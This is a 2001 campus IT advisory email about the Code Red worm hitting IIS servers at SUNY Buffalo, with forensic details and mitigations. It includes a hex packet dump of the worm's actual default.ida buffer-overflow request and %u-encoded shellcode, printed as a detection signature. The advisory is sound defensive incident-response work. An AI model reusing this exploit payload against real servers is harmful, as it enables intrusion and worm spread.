From: "Shinil Hong" To: Subject: "Code Red" worm DDoS attack against UB Date: Friday, July 20, 2001 10:35 AM Follow-up to: [(Capen) IIS Web Servers experiencing Distributed DOS/Buffer attack] Starting around noon on Thursday, 7/19/2001, a distributed denial of service (DDoS) attack was launched against several IIS 4.0 and 5.0 Web servers on UB campus. (The actual number of victim hosts may be greater than the ones detected and reported.) I am sure you have been receiving alert email messages about the "Code Red" worm (a.k.a. W32/Bady) threat for the past few weeks. Yesterday was UB's turn to be under siege. Servers that have been kept up-to-date on the latest IIS patches or NAV (Corporate Edition) definition files are in good shape. Rather than reiterating what you may have read numerous times, below are summary links to this world-wide incident. o Microsoft's security bulletin on June 18, 2001: http://www.microsoft.com/technet/security/bulletin/MS01-033.asp o Symantec (Norton) AntiVirus Research Center: http://www.sarc.com/avcenter/venc/data/codered.worm.html o CERT Advisory: http://www.cert.org/advisories/CA-2001-19.html o Incidents.org (SANS Institute's) incident diary and analysis: http://www.incidents.org/diary/diary.php ======= Symptom ======= For starters, you will notice that all IIS services are mysteriously stopped (despite your manual re-start) every 10 minutes or so. The attackers' machines, which are most likely to be copromised or worm-infected, were carefully orchestrated to launch a type of buffer overrun attack through a crafted HTTP GET request against selected IIS hosts. (The victim servers were selected through good ol' port-scanning.) ========= Forensics ========= The fingerprints are found in IIS W3SVC logs as well as IDS logs/packet captures. Since the above Web sites already discuss the worm's footprints, I will disclose its (TCP + HTTP) signature from one of the packet captures: (Comments in /** **/ brackets) ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- TCP: .AP..., len: 1460, seq:3854314931-3854316390, ack: 90045195, win:17520, src: 1510 dst: 80 /** The attacker's source port is random **/ TCP: Source Port = 0x05E6 /** Again, random source port **/ TCP: Destination Port = Hypertext Transfer Protocol /** port 80 **/ TCP: Sequence Number = 3854314931 (0xE5BC2DB3) TCP: Acknowledgement Number = 90045195 (0x55DFB0B) TCP: Data Offset = 20 (0x14) TCP: Reserved = 0 (0x0000) TCP: Flags = 0x18 : .AP... TCP: ..0..... = No urgent data TCP: ...1.... = Acknowledgement field significant TCP: ....1... = Push function TCP: .....0.. = No Reset TCP: ......0. = No Synchronize TCP: .......0 = No Fin TCP: Window = 17520 (0x4470) TCP: Checksum = 0x96CF TCP: Urgent Pointer = 0 (0x0) TCP: Data: Number of data bytes remaining = 1460 (0x05B4) /** HTTP data starting at 0x0036 below consisting of a HTTP GET request, causing a buffer overrun, and worm injection, consistently for 1,460 bytes **/ 00020: 05 E6 00 50 E5 BC 2D B3 05 5D FB 0B 50 18 ...P..-..]..P. 00030: 44 70 96 CF 00 00 2F 64 65 66 61 75 6C 74 2E 69 Dp..../default.i 00040: 64 61 3F 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E da?NNNNNNNNNNNNN 00050: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00060: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00070: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00080: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00090: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000A0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000B0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000C0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000D0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000E0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 000F0: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00100: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00110: 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E 4E NNNNNNNNNNNNNNNN 00120: 4E 4E 4E 25 75 39 30 39 30 25 75 36 38 35 38 25 NNN%u9090%u6858% 00130: 75 63 62 64 33 25 75 37 38 30 31 25 75 39 30 39 ucbd3%u7801%u909 00140: 30 25 75 36 38 35 38 25 75 63 62 64 33 25 75 37 0%u6858%ucbd3%u7 00150: 38 30 31 25 75 39 30 39 30 25 75 36 38 35 38 25 801%u9090%u6858% 00160: 75 63 62 64 33 25 75 37 38 30 31 25 75 39 30 39 ucbd3%u7801%u909 00170: 30 25 75 39 30 39 30 25 75 38 31 39 30 25 75 30 0%u9090%u8190%u0 00180: 30 63 33 25 75 30 30 30 33 25 75 38 62 30 30 25 0c3%u0003%u8b00% 00190: 75 35 33 31 62 25 75 35 33 66 66 25 75 30 30 37 u531b%u53ff%u007 001A0: 38 25 75 30 30 30 30 25 75 30 30 3D 61 20 20 48 8%u0000%u00=a H 001B0: 54 54 50 2F 31 2E 30 0D 0A 43 6F 6E 74 65 6E 74 TTP/1.0..Content 001C0: 2D 74 79 70 65 3A 20 74 65 78 74 2F 78 6D 6C 0A -type: text/xml. 001D0: 48 4F 53 54 3A 77 77 77 2E 77 6F 72 6D 2E 63 6F HOST:www.worm.co 001E0: 6D 0A 20 41 63 63 65 70 74 3A 20 2A 2F 2A 0A 43 m. Accept: */*.C 001F0: 6F 6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 33 ontent-length: 3 00200: 35 36 39 20 0D 0A 0D 0A 55 8B EC 81 EC 18 02 00 569 ....U....... 00210: 00 53 56 57 8D BD E8 FD FF FF B9 86 00 00 00 B8 .SVW............ 00220: CC CC CC CC F3 AB C7 85 70 FE FF FF 00 00 00 00 ........p....... /** SNIP **/ 005E0: FE FF FF 8B 95 50 FE FF FF 69 .....P...i ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- SNIP ---- If the attacker is a Windows-based machine, your IDS may be able to backtrace through a NetBIOS NodeStatus query, from which you will find the MAC address of the intruder to nail down the evidence. For your viewing pleasure, the attachment is a disassembly of the .ida CodeRed worm in clear text. (Courtesy of eEye Digital Security) Note the final conspiracy to launch a world-wide distributed attack against www.whitehouse.gov. Interesting... ================= Disaster Recovery ================= o If your IIS server is mission-critical and can not afford an immediate unscheduled downtime for the patch & reboot, you can dodge the attack(s) by applying the band-aid solutions below: (1) Identify the intruders' IP addresses from IIS W3SVC logs (2) On the IIS MMC console, go to "Web site" container, [Properties] --> [Directory Security] tab --> under "IP Address and Domain Name Restrictions", click [Edit] (3) Check "Granted Access" and [Add] explicit IP addresses or domain (with subnet mask) to block. ..or (1) [Properties] --> [Home Directory] tab --> Click [Configuration] button (2) Remove ".ida" extension at %systemroot%\system32\idq.dll o Otherwise, apply the patch. Separate patches are availble for IIS 4.0 (Index Server 2.0) and 5.0. Have a safe weekend. ;-) ----- Shinil Hong LAN Systems, AS CIT SUNY at Buffalo shinilh@buffalo.edu voice: 716-645-3562 fax: 716-645-3543